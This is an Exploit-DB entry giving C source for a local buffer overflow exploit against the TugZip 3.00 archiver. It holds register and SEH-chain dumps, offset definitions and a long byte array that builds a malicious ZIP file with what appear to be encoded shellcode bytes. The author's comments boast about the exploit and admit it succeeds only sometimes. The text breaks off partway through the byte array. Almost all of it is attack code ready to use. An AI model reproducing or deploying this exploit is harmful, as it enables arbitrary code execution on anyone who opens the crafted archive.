Exploit-DB #6831
Description: TugZip 3.00 Archiver - '.zip' Local Buffer Overflow
Type: local
Platform: windows
Date: 2008-10-24
Author: fl0 fl0w

Exploit:
/*0day TUGzip 3.00 archiver .ZIP File Local Buffer Overflow
 "If you change things ,forever,there's no going back,you see for them you're just a freak, like me ..Mhaaaahaaaaaaaaaaaaaaaaaaaa"(JK)
  Well hello there ,greetz from Romania,here is a exploit for the archiver TUGzip.
  So the payload doesen't always execute,it's just a matter of patience,from 10 
  attemps you get success on 2 in the best case.Got 3 more archivers with stack
  overflow and heap overflow,I'm bored... I'm looking for a new approach,will see
  soon what I'm going to bring you.
  "Let's put a smile on that face Mhaaaaaaaaahhaaahaaahhhhhhaaaaaaaaaaaaaaaaaa"
  Credits go to Stefan Marin or fl0 fl0w :) .
    All the best !
  
Registers
EAX 00000000
ECX 00000064
EDX 0013F6D0
EBX 0117ABDC
ESP 0013F6D0
EBP 45444342
ESI 0117AF6C
EDI 00D88B1C
EIP 58585858

SEH chain of main thread, item 0
 Address=0013F6D0
 SE handler=C9C9C9C9

*/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<windows.h>

#define OFFSET 2504
#define NOP 2515    
#define shellcode_offset 2535


char file_1[]=
  "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x08\x00\x00\x32\x32"
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
"\x66\x66\x64\x73\x75\x69\x62\x7A\x65\x6F\x69\x76\x7A\x20\x66\x68"
"\x65\x6F\x20\x79\x66\x6F\x7A\x69\x61\x71\x20\x6F\x69\x65\x61\x7A"
"\x75\x20\x7A\x71\x6F\x66\x68\x75\x65\x7A\x71\x6F\x69\x65\x6E\x66"
"\x65\x7A\x6A\x75\x71\x63\x62\x75\x71\x70\x7A\x61\x7A\x69\x27\x74"
"\x75\x72\x65\x6F\x7A\x6E\x62\x69\x6A\x75\x76\x62\x67\x73\x64\x75"
"\x69\x71\x79\x72\x7A\x61\x6A\x20\x62\x63\x73\x64\x6F\x70\x69\x75"
"\x72\x79\x7A\x6F\x65\x61\x71\x6E\x62\x69\x6F\x64\x73\x79\x72\x66"
"\x65\x7A\x71\x6F\x69\x70\x62\x75\x66\x63\x73\x71\x69\x75\x79\x72"
"\x61\x7A\x62\x69\x6A\x65\x66\x62\x68\x73\x75\x69\x71\x76\x64\x73"
"\x71\x69\x6A\x62\x66\x65\x7A\x71\x75\x61\x66\x64\x64\x64\x64\x64"
"\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x64\x68\x68"
"\x68\x68\x68\x68\x68\x68\x68\x68\x68\x68\x68\x68\x68\x75\x75\x75"
"\x75\x75\x75\x75\x75\x75\x75\x75\x68\x76\x71\x24\x69\x66\x72\x7A"
"\x65\x6F\x62\x76\x69\x6F\x7A\x65\x71\x66\x74\x72\x65\x6F\x7A\x71"
"\x6A\x6E\x62\x76\x64\x73\x70\x69\x79\x75\x66\x71\x6F\x65\x69\x68"
"\x66\x72\x6F\x75\x65\x7A\x68\x61\x72\x62\x20\x69\x76\x66\x64\x73"
"\x70\x6F\x68\x6A\x72\x65\x71\x6F\x75\x68\x66\x7A\x65\x61\x71\x75"
"\x68\x76\x71\x6F\x75\x68\x65\x66\x6F\x71\x73\x69\x6A\x68\x64\x6F"
"\x73\x71\x68\x76\x64\x6F\x69\x68\x7A\x61\x71\x6F\x65\x69\x68\x66"
"\x64\x73\x6F\x69\x75\x68\x76\x63\x78\x77\x69\x75\x68\x66\x71\x6F"
"\x75\x69\x68\x76\x77\x78\x6F\x69\x68\x66\x64\x73\x71\x6F\x69\x68"
"\x76\x64\x73\x71\x6F\x69\x75\x68\x7A\x67\x66\x6F\x69\x68\x73\x64"
"\x71\x6F\x69\x75\x68\x67\x7A\x65\x71\x6F\x69\x68\x67\x73\x71\x6F"
"\x69\x68\x67\x7A\x61\x65\x7A\x72\x75\x79\x61\x75\x79\x74\x61\x65"
"\x70\x69\x75\x79\x55\x59\x54\x4F\x5A\x52\x45\x50\x49\x48\x47\x41"
"\x5A\x55\x59\x56\x44\x53\x4F\x49\x59\x54\x41\x50\x4F\x49\x55\x45"
"\x59\x52\x49\x55\x45\x5A\x59\x47\x42\x4B\x4A\x43\x58\x4E\x4B\x56"
"\x4E\x4B\x43\x58\x42\x57\x56\x4B\x4A\x4E\x42\x43\x58\x48\x42\x4B"
"\x4A\x44\x48\x46\x4F\x49\x48\x5A\x45\x52\x4F\x49\x55\x48\x45\x5A"
"\x55\x49\x4F\x41\x42\x45\x5A\x55\x49\x42\x47\x55\x49\x56\x43\x50"
"\x4C\x44\x53\x47\x57\x4B\x52\x54\x42\x4E\x49\x55\x43\x49\x55\x4F"
"\x51\x45\x42\x48\x52\x55\x49\x59\x44\x46\x51\x50\x5A\x49\x55\x45"
"\x52\x50\x49\x55\x44\x59\x46\x54\x50\x41\x49\x5A\x55\x45\x59\x52"
"\x5A\x45\x55\x48\x52\x54\x49\x55\x50\x56\x58\x57\x4B\x4A\x43\x4E"
"\x48\x42\x47\x50\x46\x4F\x49\x55\x50\x41\x49\x52\x59\x45\x5A\x4F"
"\x41\x49\x54\x59\x38\x37\x33\x32\x39\x35\x36\x35\x39\x34\x38\x33"
"\x32\x36\x35\x46\x53\x34\x38\x59\x46\x44\x53\x39\x38\x59\x55\x56"
"\x47\x30\x39\x38\x51\x59\x55\x52\x30\x39\x38\x34\x59\x35\x32\x33"
"\x39\x38\x41\x59\x39\x46\x38\x45\x51\x59\x5A\x35\x39\x38\x59\x36"
"\x39\x38\x46\x47\x59\x39\x38\x51\x59\x39\x47\x46\x44\x53\x55\x59"
"\x30\x39\x48\x34\x5A\x48\x33\x37\x38\x35\x32\x33\x31\x42\x34\x47"
"\x38\x30\x47\x46\x44\x53\x55\x49\x42\x56\x51\x49\x55\x4F\x59\x50"
"\x52\x39\x5A\x48\x46\x44\x53\x51\x55\x49\x47\x46\x47\x44\x55\x53"
"\x53\x53\x53\x53\x45\x47\x46\x39\x32\x47\x35\x33\x34\x55\x47\x46"
"\x39\x49\x53\x50\x47\x42\x55\x54\x50\x5A\x39\x38\x59\x35\x33\x41"
"\x41\x42\x43\x43\x46\x52\x45\x43\x43\x45\x54\x52\x45\x5A\x47\x52"
"\x46\x44\x53\x49\x4F\x5A\x48\x45\x52\x42\x4E\x4F\x56\x46\x44\x53"
"\x4F\x49\x52\x48\x54\x4F\x5A\x49\x4E\x46\x47\x44\x4B\x4E\x46\x43"
"\x58\x4C\x4B\x59\x89\x05\x8A\x9B\x98\x98\x98\x4F\x49\x49\x49\x49"
"\x49\x49\x51\x5A\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42"
"\x36\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48"
"\x34\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44"
"\x41\x56\x58\x34\x5A\x38\x42\x44\x4A\x4F\x4D\x4E\x4F\x4C\x36\x4B"
"\x4E\x4D\x54\x4A\x4E\x49\x4F\x4F\x4F\x4F\x4F\x4F\x4F\x42\x36\x4B"
"\x38\x4E\x46\x46\x42\x46\x42\x4B\x58\x45\x44\x4E\x43\x4B\x38\x4E"
"\x37\x45\x30\x4A\x57\x41\x50\x4F\x4E\x4B\x48\x4F\x34\x4A\x51\x4B"
"\x38\x4F\x45\x42\x32\x41\x30\x4B\x4E\x49\x44\x4B\x38\x46\x43\x4B"
"\x58\x41\x50\x50\x4E\x41\x43\x42\x4C\x49\x59\x4E\x4A\x46\x58\x42"
"\x4C\x46\x37\x47\x30\x41\x4C\x4C\x4C\x4D\x30\x41\x30\x44\x4C\x4B"
"\x4E\x46\x4F\x4B\x33\x46\x35\x46\x32\x4A\x52\x45\x57\x45\x4E\x4B"
"\x48\x4F\x35\x46\x42\x41\x30\x4B\x4E\x48\x36\x4B\x58\x4E\x50\x4B"
"\x54\x4B\x48\x4F\x35\x4E\x41\x41\x30\x4B\x4E\x43\x30\x4E\x52\x4B"
"\x58\x49\x48\x4E\x56\x46\x32\x4E\x31\x41\x36\x43\x4C\x41\x43\x4B"
"\x4D\x46\x56\x4B\x48\x43\x44\x42\x53\x4B\x48\x42\x44\x4E\x50\x4B"
"\x38\x42\x37\x4E\x41\x4D\x4A\x4B\x48\x42\x44\x4A\x30\x50\x45\x4A"
"\x36\x50\x38\x50\x44\x50\x30\x4E\x4E\x42\x35\x4F\x4F\x48\x4D\x48"
"\x46\x43\x45\x48\x56\x4A\x46\x43\x43\x44\x33\x4A\x56\x47\x37\x43"
"\x37\x44\x43\x4F\x55\x46\x45\x4F\x4F\x42\x4D\x4A\x36\x4B\x4C\x4D"
"\x4E\x4E\x4F\x4B\x33\x42\x55\x4F\x4F\x48\x4D\x4F\x45\x49\